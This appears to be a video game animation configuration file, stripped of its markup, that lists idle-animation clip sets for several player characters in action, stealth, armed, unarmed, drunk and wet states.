move_stealth@p_m_zero@2h_short@idle@d + + + + True + Stealth + MMI_2Handed_Short + + + + + + + + + + + + + + + P_M_ONE_ACTION_MODE + + + + + + + + + + + + + + + + True + + + + True + + + False + + + True + Action + + + + + + + + + + + MOVE_ACTION@P_M_ONE@UNARMED@IDLE@HIGH_ENERGY@A + + + + True + Action + MMI_Unarmed + + + + + + + MOVE_ACTION@P_M_ONE@UNARMED@IDLE@HIGH_ENERGY@B + + + + True + Action + MMI_Unarmed + + + + + + + MOVE_ACTION@P_M_ONE@UNARMED@IDLE@HIGH_ENERGY@C + + + + True + Action + MMI_Unarmed + + + + + + + MOVE_ACTION@P_M_ONE@UNARMED@IDLE@HIGH_ENERGY@D + + + + True + Action + MMI_Unarmed + + + + + + + MOVE_ACTION@P_M_ONE@UNARMED@IDLE@LOW_ENERGY@A + + + + True + Action + MMI_Unarmed + + + + + + + MOVE_ACTION@P_M_ONE@UNARMED@IDLE@LOW_ENERGY@B + + + + True + Action + MMI_Unarmed + + + + + + + MOVE_ACTION@P_M_ONE@UNARMED@IDLE@LOW_ENERGY@C + + + + True + Action + MMI_Unarmed + + + + + + + MOVE_ACTION@P_M_ONE@UNARMED@IDLE@LOW_ENERGY@D + + + + True + Action + MMI_Unarmed + + + + + + + MOVE_ACTION@P_M_ONE@ARMED@1H@IDLE@HIGH_ENERGY@A + + + + True + Action + MMI_1Handed + + + + True + + + + + + MOVE_ACTION@P_M_ONE@ARMED@1H@IDLE@HIGH_ENERGY@B + + + + True + Action + MMI_1Handed + + + + + + + MOVE_ACTION@P_M_ONE@ARMED@1H@IDLE@HIGH_ENERGY@C + + + + True + Action + MMI_1Handed + + + + + + + MOVE_ACTION@P_M_ONE@ARMED@1H@IDLE@HIGH_ENERGY@D + + + + True + Action + MMI_1Handed + + + + + + + MOVE_ACTION@P_M_ONE@ARMED@1H@IDLE@LOW_ENERGY@A + + + + True + Action + MMI_1Handed + + + + + + + MOVE_ACTION@P_M_ONE@ARMED@1H@IDLE@LOW_ENERGY@B + + + + True + Action + MMI_1Handed + + + + True + + + + + + MOVE_ACTION@P_M_ONE@ARMED@1H@IDLE@LOW_ENERGY@C + + + + True + Action + MMI_1Handed + + + + True + + + + + + MOVE_ACTION@P_M_ONE@ARMED@1H@IDLE@LOW_ENERGY@D + + + + True + Action + MMI_1Handed + + + + True + + + + + + MOVE_ACTION@P_M_ONE@ARMED@2H@IDLE@HIGH_ENERGY@A + + + + True + Action + MMI_2Handed + + + + True + + + + + + MOVE_ACTION@P_M_ONE@ARMED@2H@IDLE@HIGH_ENERGY@B + + + + True + Action + MMI_2Handed + + + + + + + MOVE_ACTION@P_M_ONE@ARMED@2H@IDLE@HIGH_ENERGY@C + + + + True + Action + MMI_2Handed + + + + + + + MOVE_ACTION@P_M_ONE@ARMED@2H@IDLE@HIGH_ENERGY@D + + + + True + Action + MMI_2Handed + + + + + + + MOVE_ACTION@P_M_ONE@ARMED@2H@IDLE@LOW_ENERGY@A + + + + True + Action + MMI_2Handed + + + + + + + MOVE_ACTION@P_M_ONE@ARMED@2H@IDLE@LOW_ENERGY@B + + + + True + Action + MMI_2Handed + + + + True + + + + + + MOVE_ACTION@P_M_ONE@ARMED@2H@IDLE@LOW_ENERGY@C + + + + True + Action + MMI_2Handed + + + + True + + + + + + MOVE_ACTION@P_M_ONE@ARMED@2H@IDLE@LOW_ENERGY@D + + + + True + Action + MMI_2Handed + + + + True + + + + + + MOVE_ACTION@P_M_ONE@ARMED@2H_SHORT@IDLE@HIGH_ENERGY@A + + + + True + Action + MMI_2Handed_Short + + + + True + + + + + + MOVE_ACTION@P_M_ONE@ARMED@2H_SHORT@IDLE@HIGH_ENERGY@B + + + + True + Action + MMI_2Handed_Short + + + + + + + MOVE_ACTION@P_M_ONE@ARMED@2H_SHORT@IDLE@HIGH_ENERGY@C + + + + True + Action + MMI_2Handed_Short + + + + + + + MOVE_ACTION@P_M_ONE@ARMED@2H_SHORT@IDLE@HIGH_ENERGY@D + + + + True + Action + MMI_2Handed_Short + + + + + + + MOVE_ACTION@P_M_ONE@ARMED@2H_SHORT@IDLE@LOW_ENERGY@A + + + + True + Action + MMI_2Handed_Short + + + + + + + MOVE_ACTION@P_M_ONE@ARMED@2H_SHORT@IDLE@LOW_ENERGY@B + + + + True + Action + MMI_2Handed_Short + + + + True + + + + + + MOVE_ACTION@P_M_ONE@ARMED@2H_SHORT@IDLE@LOW_ENERGY@C + + + + True + Action + MMI_2Handed_Short + + + + True + + + + + + MOVE_ACTION@P_M_ONE@ARMED@2H_SHORT@IDLE@LOW_ENERGY@D + + + + True + Action + MMI_2Handed_Short + + + + True + + + + + + MOVE_ACTION@P_M_ONE@UNARMED@IDLE@VARIATIONS + + + + True + Action + MMI_Unarmed + + + + + + + + + + + + + + + P_M_ONE_STEALTH_MODE + + + + + + + + + + + + + + + + True + + + + True + + + False + + + True + Stealth + + + + + + + + + + + move_stealth@p_m_one@unarmed@idle@a + + + + True + Stealth + MMI_Unarmed + + + + + + + move_stealth@p_m_one@unarmed@idle@b + + + + True + Stealth + MMI_Unarmed + + + + + + + move_stealth@p_m_one@unarmed@idle@c + + + + True + Stealth + MMI_Unarmed + + + + + + + move_stealth@p_m_one@unarmed@idle@d + + + + True + Stealth + MMI_Unarmed + + + + + + + move_stealth@p_m_one@1h@idle@a + + + + True + Stealth + MMI_1Handed + + + + + + + move_stealth@p_m_one@1h@idle@b + + + + True + Stealth + MMI_1Handed + + + + + + + move_stealth@p_m_one@1h@idle@c + + + + True + Stealth + MMI_1Handed + + + + + + + move_stealth@p_m_one@1h@idle@d + + + + True + Stealth + MMI_1Handed + + + + + + + move_stealth@p_m_one@2h@idle@a + + + + True + Stealth + MMI_2Handed + + + + + + + move_stealth@p_m_one@2h@idle@b + + + + True + Stealth + MMI_2Handed + + + + + + + move_stealth@p_m_one@2h@idle@c + + + + True + Stealth + MMI_2Handed + + + + + + + move_stealth@p_m_one@2h@idle@d + + + + True + Stealth + MMI_2Handed + + + + + + + move_stealth@p_m_one@2h_short@idle@a + + + + True + Stealth + MMI_2Handed_Short + + + + + + + move_stealth@p_m_one@2h_short@idle@b + + + + True + Stealth + MMI_2Handed_Short + + + + + + + move_stealth@p_m_one@2h_short@idle@c + + + + True + Stealth + MMI_2Handed_Short + + + + + + + move_stealth@p_m_one@2h_short@idle@d + + + + True + Stealth + MMI_2Handed_Short + + + + + + + + + + + + + + + P_M_ONE_GENERIC_UNARMED + + + + + + + + + + + + + + + + True + + + + True + + + True + + + False + Action + + + + + False + Stealth + + + + + True + + + + + + + + + MOVE_P_M_ONE_IDLES@GENERIC + + + + False + + + False + + + False + + + True + + + False + Action + + + + + False + Stealth + + + + + False + move_m@drunk@VERYDRUNK + + + False + move_m@drunk@MODERATEDRUNK + + + False + move_m@drunk@SLIGHTLYDRUNK + + + + + + MOVE_M@_IDLES@WET + + + + True + + + True + + + ForceIdleThroughBlendOut + + + MOVE_M@_IDLES@OUT_OF_BREATH + + + + True + + + True + + + ForceIdleThroughBlendOut + + + MOVE_M@_IDLES@SHAKE_OFF + + + + True + + + True + + + ForceIdleThroughBlendOut + + + move_m@drunk@VERYDRUNK_IDLES@ + + + + True + move_m@drunk@VERYDRUNK + + + + + + MOVE_M@DRUNK@MODERATEDRUNK_IDLES@ + + + + True + move_m@drunk@MODERATEDRUNK + + + + + + MOVE_M@DRUNK@SLIGHTLYDRUNK_IDLES@ + + + + True + move_m@drunk@SLIGHTLYDRUNK + + + + + + + + + + + + + + P_M_TWO_ACTION_MODE + + + + + + + + + + + + + + + + True + + + + True + + + False + + + True + Action + + + + + + + + + + + MOVE_ACTION@P_M_TWO@UNARMED@IDLE@HIGH_ENERGY@A + + + + True + Action + MMI_Unarmed + + + + + + + MOVE_ACTION@P_M_TWO@UNARMED@IDLE@HIGH_ENERGY@B + + + + True + Action + MMI_Unarmed + + + + + + + MOVE_ACTION@P_M_TWO@UNARMED@IDLE@HIGH_ENERGY@C + + + + True + Action + MMI_Unarmed + + + + + + + MOVE_ACTION@P_M_TWO@UNARMED@IDLE@HIGH_ENERGY@D + + + + True + Action + MMI_Unarmed + + + + + + + MOVE_ACTION@P_M_TWO@UNARMED@IDLE@LOW_ENERGY@A + + + + True + Action + MMI_Unarmed + + + + + + + MOVE_ACTION@P_M_TWO@UNARMED@IDLE@LOW_ENERGY@B + + + + True + Action + MMI_Unarmed + + + + + + + MOVE_ACTION@P_M_TWO@UNARMED@IDLE@LOW_ENERGY@C + + + + True + Action + MMI_Unarmed + + + + + + + MOVE_ACTION@P_M_TWO@UNARMED@IDLE@LOW_ENERGY@D + + + + True + Action + MMI_Unarmed + + + + + + + MOVE_ACTION@P_M_TWO@ARMED@1H@IDLE@HIGH_ENERGY@A + + + + True + Action + MMI_1Handed + + + + True + + + + + + MOVE_ACTION@P_M_TWO@ARMED@1H@IDLE@HIGH_ENERGY@B + + + + True + Action + MMI_1Handed + + + + + + + MOVE_ACTION@P_M_TWO@ARMED@1H@IDLE@HIGH_ENERGY@C + + + + True + Action + MMI_1Handed + + + + + + + MOVE_ACTION@P_M_TWO@ARMED@1H@IDLE@HIGH_ENERGY@D + + + + True + Action + MMI_1Handed + + + + + + + MOVE_ACTION@P_M_TWO@ARMED@1H@IDLE@LOW_ENERGY@A + + + + True + Action + MMI_1Handed + + + + + + + MOVE_ACTION@P_M_TWO@ARMED@1H@IDLE@LOW_ENERGY@B + + + + True + Action + MMI_1Handed + + + + True + + + + + + MOVE_ACTION@P_M_TWO@ARMED@1H@IDLE@LOW_ENERGY@C + + + + True + Action + MMI_1Handed + + + + True + + + + + + MOVE_ACTION@P_M_TWO@ARMED@1H@IDLE@LOW_ENERGY@D + + + + True + Action + MMI_1Handed + + + + True + + + + + + MOVE_ACTION@P_M_TWO@ARMED@2H@IDLE@HIGH_ENERGY@A + + + + True + Action + MMI_2Handed + + + + True + + + + + + MOVE_ACTION@P_M_TWO@ARMED@2H@IDLE@HIGH_ENERGY@B + + + + True + Action + MMI_2Handed + + + + + + + MOVE_ACTION@P_M_TWO@ARMED@2H@IDLE@HIGH_ENERGY@C + + + + True + Action + MMI_2Handed + + + + + + + MOVE_ACTION@P_M_TWO@ARMED@2H@IDLE@HIGH_ENERGY@D + + + + True + Action + MMI_2Handed + + + + + + + MOVE_ACTION@P_M_TWO@ARMED@2H@IDLE@LOW_ENERGY@A + + + + True + Action + MMI_2Handed + + + + + + + MOVE_ACTION@P_M_TWO@ARMED@2H@IDLE@LOW_ENERGY@B + + + + True + Action + MMI_2Handed + + + + True + + + + + + MOVE_ACTION@P_M_TWO@ARMED@2H@IDLE@LOW_ENERGY@C + + + + True + Action + MMI_2Handed + + + + True + + + + + + MOVE_ACTION@P_M_TWO@ARMED@2H@IDLE@LOW_ENERGY@D + + + + True + Action + MMI_2Handed + + + + True + + + + + + MOVE_ACTION@P_M_TWO@ARMED@2H_SHORT@IDLE@HIGH_ENERGY@A + + + + True + Action + MMI_2Handed_Short + + + + True + + + + + + MOVE_ACTION@P_M_TWO@ARMED@2H_SHORT@IDLE@HIGH_ENERGY@B + + + + True + Action + MMI_2Handed_Short + + + + + + + MOVE_ACTION@P_M_TWO@ARMED@2H_SHORT@IDLE@HIGH_ENERGY@C + + + + True + Action + MMI_2Handed_Short + + + + + + + MOVE_ACTION@P_M_TWO@ARMED@2H_SHORT@IDLE@HIGH_ENERGY@D + + + + True + Action + MMI_2Handed_Short + + + + + + + MOVE_ACTION@P_M_TWO@ARMED@2H_SHORT@IDLE@LOW_ENERGY@A + + + + True + Action + MMI_2Handed_Short + + + + + + + MOVE_ACTION@P_M_TWO@ARMED@2H_SHORT@IDLE@LOW_ENERGY@B + + + + True + Action + MMI_2Handed_Short + + + + True + + + + + + MOVE_ACTION@P_M_TWO@ARMED@2H_SHORT@IDLE@LOW_ENERGY@C + + + + True + Action + MMI_2Handed_Short + + + + True + + + + + + MOVE_ACTION@P_M_TWO@ARMED@2H_SHORT@IDLE@LOW_ENERGY@D + + + + True + Action + MMI_2Handed_Short + + + + True + + + + + + MOVE_ACTION@P_M_TWO@UNARMED@IDLE@VARIATIONS + + + + True + Action + MMI_Unarmed + + + + + + + + + + + + + + + P_M_TWO_STEALTH_MODE + + + + + + + + + + + + + + + + True + + + + True + + + False + + + True + Stealth + + + + + + + + + + + move_stealth@p_m_two@unarmed@idle@a + + + + True + Stealth + MMI_Unarmed + + + + + + + move_stealth@p_m_two@unarmed@idle@b + + + + True + Stealth + MMI_Unarmed + + + + + + + move_stealth@p_m_two@unarmed@idle@c + + + + True + Stealth + MMI_Unarmed + + + + + + + move_stealth@p_m_two@unarmed@idle@d + + + + True + Stealth + MMI_Unarmed + + + + + + + move_stealth@p_m_two@1h@idle@a + + + + True + Stealth + MMI_1Handed + + + + + + + move_stealth@p_m_two@1h@idle@b + + + + True + Stealth + MMI_1Handed + + + + + + + move_stealth@p_m_two@1h@idle@c + + + + True + Stealth + MMI_1Handed + + + + + + + move_stealth@p_m_two@1h@idle@d + + + + True + Stealth + MMI_1Handed + + + + + + + move_stealth@p_m_two@2h@idle@a + + + + True + Stealth + MMI_2Handed + + + + + + + move_stealth@p_m_two@2h@idle@b + + + + True + Stealth + MMI_2Handed + + + + + + + move_stealth@p_m_two@2h@idle@c + + + + True + Stealth + MMI_2Handed + + + + + + + move_stealth@p_m_two@2h@idle@d + + + + True + Stealth + MMI_2Handed + + + + + + + move_stealth@p_m_two@2h_short@idle@a + + + + True + Stealth + MMI_2Handed_Short + + + + + + + move_stealth@p_m_two@2h_short@idle@b + + + + True + Stealth + MMI_2Handed_Short + + + + + + + move_stealth@p_m_two@2h_short@idle@c + + + + True + Stealth + MMI_2Handed_Short + + + + + + + move_stealth@p_m_two@2h_short@idle@d + + + + True + Stealth + MMI_2Handed_Short + + + + + + + + + + + + + + + P_M_TWO_GENERIC_UNARMED + + + + + + + + + + + + + Player Idles Snot Blow + ANM_SNOT_BLOW + + + BONETAG_HEAD + + + + + + + + + + True + + + + True + + + True + + + False + Action + + + + + False + Stealth + + + + + True + + + + + + + + + MOVE_P_M_TWO_IDLES@GENERIC + + + + False + + + False + + + False + + + True + + + False + Action + + + + + False + Stealth + + + + + False + move_m@drunk@VERYDRUNK + + + False + move_m@drunk@MODERATEDRUNK + + + False + move_m@drunk@SLIGHTLYDRUNK + + + + + + MOVE_M@_IDLES@WET + + + + True + + + True + + + ForceIdleThroughBlendOut + + + MOVE_M@_IDLES@OUT_OF_BREATH + + + + True + + + True + + + ForceIdleThroughBlendOut + + + MOVE_M@_IDLES@SHAKE_OFF + + + + True + + + True + + + ForceIdleThroughBlendOut + + + move_m@drunk@VERYDRUNK_IDLES@ + + + + True + move_m@drunk@VERYDRUNK + + + + + + MOVE_M@DRUNK@MODERATEDRUNK_IDLES@ + + + + True + move_m@drunk@MODERATEDRUNK + + + + + + MOVE_M@DRUNK@SLIGHTLYDRUNK_IDLES@ + + + + True + move_m@drunk@SLIGHTLYDRUNK + + + + + + + + + + + + + + MP_M_UNARMED + + + + + + + + + + + + + + + + True + + + + True + + + True + + + False + Action + + + + + False + Stealth + + + + + True + + + + + + + + + move_m@generic_idles@std + + + + False + + + False + + + False + + + True + + + False + Action + + + + + False + Stealth + + + + + False + move_m@drunk@VERYDRUNK + + + False + move_m@drunk@MODERATEDRUNK + + + False + move_m@drunk@SLIGHTLYDRUNK + + + False + move_m@bag + + + + + + + + + + + + + + MP_F_UNARMED + + + + + + + + + + + + + + + + True + + + + True + + + True + + + False + Action + + + + + False + Stealth + + + + + True + + + + + + + + + move_f@generic_idles@std + + + + False + + + False + + + False + + + True + + + False + Action + + + + + False + Stealth + + + + + False + move_m@drunk@VERYDRUNK + + + False + move_m@drunk@MODERATEDRUNK + + + False + move_m@drunk@SLIGHTLYDRUNK + + + False + move_m@bag + + + + + + + + + + + + + + MP_M_ACTION_MODE + + + + + + + + + + + + + + + + True + + + + True + + + True + + + True + Action + + + + + False + Stealth + + + + + True + + + + + + + + + MOVE_ACTION@GENERIC@IDLE@VARIATIONS + + + + False + + + False + + + False + + + True + + + True + Action + MMI_Unarmed + + + + + + + + + + + + + + + MP_F_ACTION_MODE + + + + + + + + + + + + + + + + True + + + + True + + + True + + + True + Action + + + + + False + Stealth + + + + + True + + + + + + + + + MOVE_ACTION@MP_FEMALE@UNARMED@IDLE@VARIATIONS + + + + False + + + False + + + False + + + True + + + True + Action + MMI_Unarmed + + + + + + + + + + + + + + + + + BUDDY_AI_IDLES + + + P_M_ZERO_ACTION_MODE + + + + + + + + + + + + + + + + True + + + + True + + + False + + + True + Action + + + + + + + + + + + MOVE_ACTION@P_M_ZERO@UNARMED@IDLE@HIGH_ENERGY@A + + + + True + Action + MMI_Unarmed + + + + + + + MOVE_ACTION@P_M_ZERO@UNARMED@IDLE@HIGH_ENERGY@B + + + + True + Action + MMI_Unarmed + + + + + + + MOVE_ACTION@P_M_ZERO@UNARMED@IDLE@HIGH_ENERGY@C + + + + True + Action + MMI_Unarmed + + + + + + + MOVE_ACTION@P_M_ZERO@UNARMED@IDLE@HIGH_ENERGY@D + + + + True + Action + MMI_Unarmed + + + + + + + MOVE_ACTION@P_M_ZERO@UNARMED@IDLE@LOW_ENERGY@A + + + + True + Action + MMI_Unarmed + + + + + + + MOVE_ACTION@P_M_ZERO@UNARMED@IDLE@LOW_ENERGY@B + + + + True + Action + MMI_Unarmed + + + + + + + MOVE_ACTION@P_M_ZERO@UNARMED@IDLE@LOW_ENERGY@C + + + + True + Action + MMI_Unarmed + + + + + + + MOVE_ACTION@P_M_ZERO@UNARMED@IDLE@LOW_ENERGY@D + + + + True + Action + MMI_Unarmed + + + + + + + MOVE_ACTION@P_M_ZERO@ARMED@1H@IDLE@HIGH_ENERGY@A + + + + True + Action + MMI_1Handed + + + + True + + + + + + MOVE_ACTION@P_M_ZERO@ARMED@1H@IDLE@HIGH_ENERGY@B + + + + True + Action + MMI_1Handed + + + + + + + MOVE_ACTION@P_M_ZERO@ARMED@1H@IDLE@HIGH_ENERGY@C + + + + True + Action + MMI_1Handed + + + + + + + MOVE_ACTION@P_M_ZERO@ARMED@1H@IDLE@HIGH_ENERGY@D + + + + True + Action + MMI_1Handed + + + + + + + MOVE_ACTION@P_M_ZERO@ARMED@1H@IDLE@LOW_ENERGY@A + + + + True + Action + MMI_1Handed + + + + + + + MOVE_ACTION@P_M_ZERO@ARMED@1H@IDLE@LOW_ENERGY@B + + + + True + Action + MMI_1Handed + + + + True + + + + + + MOVE_ACTION@P_M_ZERO@ARMED@1H@IDLE@LOW_ENERGY@C + + + + True + Action + MMI_1Handed + + + + True + + + + + + MOVE_ACTION@P_M_ZERO@ARMED@1H@IDLE@LOW_ENERGY@D + + + + True + Action + MMI_1Handed + + + + True + + + + + + MOVE_ACTION@P_M_ZERO@ARMED@2H@IDLE@HIGH_ENERGY@A + + + + True + Action + MMI_2Handed + + + + True + + + + + + MOVE_ACTION@P_M_ZERO@ARMED@2H@IDLE@HIGH_ENERGY@B + + + + True + Action + MMI_2Handed + + + + + + + MOVE_ACTION@P_M_ZERO@ARMED@2H@IDLE@HIGH_ENERGY@C + + + + True + Action + MMI_2Handed + + + + + + + MOVE_ACTION@P_M_ZERO@ARMED@2H@IDLE@HIGH_ENERGY@D + + + + True + Action + MMI_2Handed + + + + + + + MOVE_ACTION@P_M_ZERO@ARMED@2H@IDLE@LOW_ENERGY@A + + + + True + Action + MMI_2Handed + + + + + + + MOVE_ACTION@P_M_ZERO@ARMED@2H@IDLE@LOW_ENERGY@B + + + + True + Action + MMI_2Handed + + + + True + + + + + + MOVE_ACTION@P_M_ZERO@ARMED@2H@IDLE@LOW_ENERGY@C + + + + True + Action + MMI_2Handed + + + + True + + + + + + MOVE_ACTION@P_M_ZERO@ARMED@2H@IDLE@LOW_ENERGY@D + + + + True + Action + MMI_2Handed + + + + True + + + + + + MOVE_ACTION@P_M_ZERO@ARMED@2H_SHORT@IDLE@HIGH_ENERGY@A + + + + True + Action + MMI_2Handed_Short + + + + True + + + + + + MOVE_ACTION@P_M_ZERO@ARMED@2H_SHORT@IDLE@HIGH_ENERGY@B + + + + True + Action + MMI_2Handed_Short + + + + + + + MOVE_ACTION@P_M_ZERO@ARMED@2H_SHORT@IDLE@HIGH_ENERGY@C + + + + True + Action + MMI_2Handed_Short + + + + + + + MOVE_ACTION@P_M_ZERO@ARMED@2H_SHORT@IDLE@HIGH_ENERGY@D + + + + True + Action + MMI_2Handed_Short + + + + + + + MOVE_ACTION@P_M_ZERO@ARMED@2H_SHORT@IDLE@LOW_ENERGY@A + + + + True + Action + MMI_2Handed_Short + + + + + + + MOVE_ACTION@P_M_ZERO@ARMED@2H_SHORT@IDLE@LOW_ENERGY@B + + + + True + Action + MMI_2Handed_Short + + + + True + + + + + + MOVE_ACTION@P_M_ZERO@ARMED@2H_SHORT@IDLE@LOW_ENERGY@C + + + + True + Action + MMI_2Handed_Short + + + + True + + + + + + MOVE_ACTION@P_M_ZERO@ARMED@2H_SHORT@IDLE@LOW_ENERGY@D + + + + True + Action + MMI_2Handed_Short + + + + True + + + + + + MOVE_ACTION@P_M_ZERO@UNARMED@IDLE@VARIATIONS + + + + True + Action + MMI_Unarmed + + + + + + + + + + + + + + + P_M_ZERO_GENERIC_UNARMED + + + + + + + + + + + + + + + + True + + + + True + + + True + + + True + + + False + Action + + + + + False + Stealth + + + + + + + + + + + MOVE_P_M_ZERO_IDLES@GENERIC + + + + False + + + False + + + False + + + True + + + False + Action + + + + + False + Stealth + + + + + False + move_m@drunk@VERYDRUNK + + + False + move_m@drunk@MODERATEDRUNK + + + False + move_m@drunk@SLIGHTLYDRUNK + + + + + + MOVE_M@_IDLES@WET + + + + True + + + True + + + ForceIdleThroughBlendOut + + + MOVE_M@_IDLES@OUT_OF_BREATH + + + + True + + + True + + + ForceIdleThroughBlendOut + + + MOVE_M@_IDLES@SHAKE_OFF + + + + True + + + True + + + ForceIdleThroughBlendOut + + + move_m@drunk@VERYDRUNK_IDLES@ + + + + True + move_m@drunk@VERYDRUNK + + + + + + MOVE_M@DRUNK@MODERATEDRUNK_IDLES@ + + + + True + move_m@drunk@MODERATEDRUNK + + + + + + MOVE_M@DRUNK@SLIGHTLYDRUNK_IDLES@ + + + + True + move_m@drunk@SLIGHTLYDRUNK + + + + + + + + + + + + + + P_M_ZERO_STEALTH_MODE + + + + + + + + + + + + + + + + True + + + + True + + + False + + + True + Stealth + + + + + + + + + + + move_stealth@p_m_zero@unarmed@idle@a + + + + True + Stealth + MMI_Unarmed + + + + + + + move_stealth@p_m_zero@unarmed@idle@b + + + + True + Stealth + MMI_Unarmed + + + + + + + move_stealth@p_m_zero@unarmed@idle@c + + + + True + Stealth + MMI_Unarmed + + + + + + + move_stealth@p_m_zero@unarmed@idle@d + + + + True + Stealth + MMI_Unarmed + + + + + + + move_stealth@p_m_zero@1h@idle@a + + + + True + Stealth + MMI_1Handed + + + + + + + move_stealth@p_m_zero@1h@idle@b + + + + True + Stealth + MMI_1Handed + + + + + + + move_stealth@p_m_zero@1h@idle@c + + + + True + Stealth + MMI_1Handed + + + + + + + move_stealth@p_m_zero@1h@idle@d + + + + True + Stealth + MMI_1Handed + + + + + + + move_stealth@p_m_zero@2h@idle@a + + + + True + Stealth + MMI_2Handed + + + + + + + move_stealth@p_m_zero@2h@idle@b + + + + True + Stealth + MMI_2Handed + + + + + + + move_stealth@p_m_zero@2h@idle@c + + + + True + Stealth + MMI_2Handed + + + + + + + move_stealth@p_m_zero@2h@idle@d + + + + True + Stealth + MMI_2Handed + + + + + + + move_stealth@p_m_zero@2h_short@idle@a + + + + True + Stealth + MMI_2Handed_Short + + + + + + + move_stealth@p_m_zero@2h_short@idle@b + + + + True + Stealth + MMI_2Handed_Short + + + + + + + move_stealth@p_m_zero@2h_short@idle@c + + + + True + Stealth + MMI_2Handed_Short + + + + + + + move_stealth@p_m_zero@2h_short@idle@d + + + + True + Stealth + MMI_2Handed_Short + + + + + + + + + + + + + + + P_M_ONE_ACTION_MODE + + + + + + + + + + + + + + + + True + + + + True + + + False + + + True + Action + + + + + + + + + + + MOVE_ACTION@P_M_ONE@UNARMED@IDLE@HIGH_ENERGY@A + + + + True + Action + MMI_Unarmed + + + + + + + MOVE_ACTION@P_M_ONE@UNARMED@IDLE@HIGH_ENERGY@B + + + + True + Action + MMI_Unarmed + + + + + + + MOVE_ACTION@P_M_ONE@UNARMED@IDLE@HIGH_ENERGY@C + + + + True + Action + MMI_Unarmed + + + + + + + MOVE_ACTION@P_M_ONE@UNARMED@IDLE@HIGH_ENERGY@D + + + + True + Action + MMI_Unarmed + + + + + + + MOVE_ACTION@P_M_ONE@UNARMED@IDLE@LOW_ENERGY@A + + + + True + Action + MMI_Unarmed + + + + + + + MOVE_ACTION@P_M_ONE@UNARMED@IDLE@LOW_ENERGY@B + + + + True + Action + MMI_Unarmed + + + + + + + MOVE_ACTION@P_M_ONE@UNARMED@IDLE@LOW_ENERGY@C + + + + True + Action + MMI_Unarmed + + + + + + + MOVE_ACTION@P_M_ONE@UNARMED@IDLE@LOW_ENERGY@D + + + + True + Action + MMI_Unarmed + + + + + + + MOVE_ACTION@P_M_ONE@ARMED@1H@IDLE@HIGH_ENERGY@A + + + + True + Action + MMI_1Handed + + + + True + + + + + + MOVE_ACTION@P_M_ONE@ARMED@1H@IDLE@HIGH_ENERGY@B + + + + True + Action + MMI_1Handed + + + + + + + MOVE_ACTION@P_M_ONE@ARMED@1H@IDLE@HIGH_ENERGY@C + + + + True + Action + MMI_1Handed + + + + + + + MOVE_ACTION@P_M_ONE@ARMED@1H@IDLE@HIGH_ENERGY@D + + + + True + Action + MMI_1Handed + + + + + + + MOVE_ACTION@P_M_ONE@ARMED@1H@IDLE@LOW_ENERGY@A + + + + True + Action + MMI_1Handed + + + + + + + MOVE_ACTION@P_M_ONE@ARMED@1H@IDLE@LOW_ENERGY@B + + + + True + Action + MMI_1Handed + + + + True + + + + + + MOVE_ACTION@P_M_ONE@ARMED@1H@IDLE@LOW_ENERGY@C + + + + True + Action + MMI_1Handed + + + + True + + + + + + MOVE_ACTION@P_M_ONE@ARMED@1H@IDLE@LOW_ENERGY@D + + + + True + Action + MMI_1Handed + + + + True + + + + + + MOVE_ACTION@P_M_ONE@ARMED@2H@IDLE@HIGH_ENERGY@A + + + + True + Action + MMI_2Handed + + + + True + + + + + + MOVE_ACTION@P_M_ONE@ARMED@2H@IDLE@HIGH_ENERGY@B + + + + True + Action + MMI_2Handed + + + + + + + MOVE_ACTION@P_M_ONE@ARMED@2H@IDLE@HIGH_ENERGY@C + + + + True + Action + MMI_2Handed + + + + + + + MOVE_ACTION@P_M_ONE@ARMED@2H@IDLE@HIGH_ENERGY@D + + + + True + Action + MMI_2Handed + + + + + + + MOVE_ACTION@P_M_ONE@ARMED@2H@IDLE@LOW_ENERGY@A + + + + True + Action + MMI_2Handed + + + + + + + MOVE_ACTION@P_M_ONE@ARMED@2H@IDLE@LOW_ENERGY@B + + + + True + Action + MMI_2Handed + + + + True + + + + + + MOVE_ACTION@P_M_ONE@ARMED@2H@IDLE@LOW_ENERGY@C + + + + True + Action + MMI_2Handed + + + + True + + + + + + MOVE_ACTION@P_M_ONE@ARMED@2H@IDLE@LOW_ENERGY@D + + + + True + Action + MMI_2Handed + + + + True + + + + + + MOVE_ACTION@P_M_ONE@ARMED@2H_SHORT@IDLE@HIGH_ENERGY@A + + + + True + Action + MMI_2Handed_Short + + + + True + + + + + + MOVE_ACTION@P_M_ONE@ARMED@2H_SHORT@IDLE@HIGH_ENERGY@B + + + + True + Action + MMI_2Handed_Short + + + + + + + MOVE_ACTION@P_M_ONE@ARMED@2H_SHORT@IDLE@HIGH_ENERGY@C + + + + True + Action + MMI_2Handed_Short + + + + + + + MOVE_ACTION@P_M_ONE@ARMED@2H_SHORT@IDLE@HIGH_ENERGY@D + + + + True + Action + MMI_2Handed_Short + + + + + + + MOVE_ACTION@P_M_ONE@ARMED@2H_SHORT@IDLE@LOW_ENERGY@A + + + + True + Action + MMI_2Handed_Short + + + + + + + MOVE_ACTION@P_M_ONE@ARMED@2H_SHORT@IDLE@LOW_ENERGY@B + + + + True + Action + MMI_2Handed_Short + + + + True + + + + + + MOVE_ACTION@P_M_ONE@ARMED@2H_SHORT@IDLE@LOW_ENERGY@C + + + + True + Action + MMI_2Handed_Short + + + + True + + + + + + MOVE_ACTION@P_M_ONE@ARMED@2H_SHORT@IDLE@LOW_ENERGY@D + + + + True + Action + MMI_2Handed_Short + + + + True + + + + + + MOVE_ACTION@P_M_ONE@UNARMED@IDLE@VARIATIONS + + + + True + Action + MMI_Unarmed + + + + + + + + + + + + + + + P_M_ONE_STEALTH_MODE + + + + + + + + + + + + + + + + True + + + + True + + + False + + + True + Stealth + + + + + + + + + + + move_stealth@p_m_one@unarmed@idle@a + + + + True + Stealth + MMI_Unarmed + + + + + + + move_stealth@p_m_one@unarmed@idle@b + + + + True + Stealth + MMI_Unarmed + + + + + + + move_stealth@p_m_one@unarmed@idle@c + + + + True + Stealth + MMI_Unarmed + + + + + + + move_stealth@p_m_one@unarmed@idle@d + + + + True + Stealth + MMI_Unarmed + + + + + + + move_stealth@p_m_one@1h@idle@a + + + + True + Stealth + MMI_1Handed + + + + + + + move_stealth@p_m_one@1h@idle@b + + + + True + Stealth + MMI_1Handed + + + + + + + move_stealth@p_m_one@1h@idle@c + + + + True + Stealth + MMI_1Handed + + + + + + + move_stealth@p_m_one@1h@idle@d + + + + True + Stealth + MMI_1Handed + + + + + + + move_stealth@p_m_one@2h@idle@a + + + + True + Stealth + MMI_2Handed + + + + + + + move_stealth@p_m_one@2h@idle@b + + + + True + Stealth + MMI_2Handed + + + + + + + 